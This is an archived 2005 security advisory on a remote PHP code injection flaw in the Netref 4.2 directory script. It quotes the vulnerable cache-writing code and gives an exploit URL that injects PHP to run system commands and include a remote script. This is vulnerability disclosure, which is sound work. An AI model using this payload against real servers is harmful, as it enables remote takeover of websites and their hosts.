[UNIX] Netref Arbitrary Code Inclusion

From: SecuriTeam (support_at_securiteam.com)
Date: 04/27/05

  • Next message: SecuriTeam: "[NT] Citrix Neighborhood Agent Buffer Overflow and Arbitrary Shortcut Creation"
    To: list@securiteam.com
    Date: 27 Apr 2005 17:22:21 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Netref Arbitrary Code Inclusion
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.netref.net/> Netref is a PHP/MySQL-based directory script
    that supports an unlimited number of categories and links. Many fonctions
    to manage the links : Fast search engine with syntax coloring, Edit icon
    of category, Alias sites, Check validity of URL, Possibility to comment
    the sites, Administrator access to edit all data and validate suggested
    links by users, batch processing, etc."

    Lack of user input validation in Netref allows remote attackers to run
    malicious PHP code on the vulnerable system.

    DETAILS

    Vulnerable Systems:
     * Annuaire Netref version 4.2

    There is a vulnerability in the handling of input by Netref. Because of
    this, it is possible for a remote user to gain unauthorized access to the
    system using the vulnerable software. More specifically the file
    "script/cat_for_gen.php" does not check the variables $ad, $ad_direct and
    $m_for_racine.

    Vulnerable code:
    if ($ad==1)
    {
            if (!isset($ad_direct))
                    $ad_direct=""; // variable appel que dans certains cas
            $fp=fopen($ad_direct."cache/cat_for.php", "w");
            $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du
    formulaire
            $temp.=">$m_for_racine</OPTION>";
            fwrite ($fp,$temp);
    }

    The $m_for_racine variable is not initialized and will be written in the
    cache/cat_for.php file, making it possible to inject any PHP command and
    execute them.

    Exploit:
    http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1
    &ad_direct=../&m_for_racine=</option></SELECT><?php
    sytem($command);include($remote_script)?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:webmaster@wulab.com> jaguar.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Citrix Neighborhood Agent Buffer Overflow and Arbitrary Shortcut Creation"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)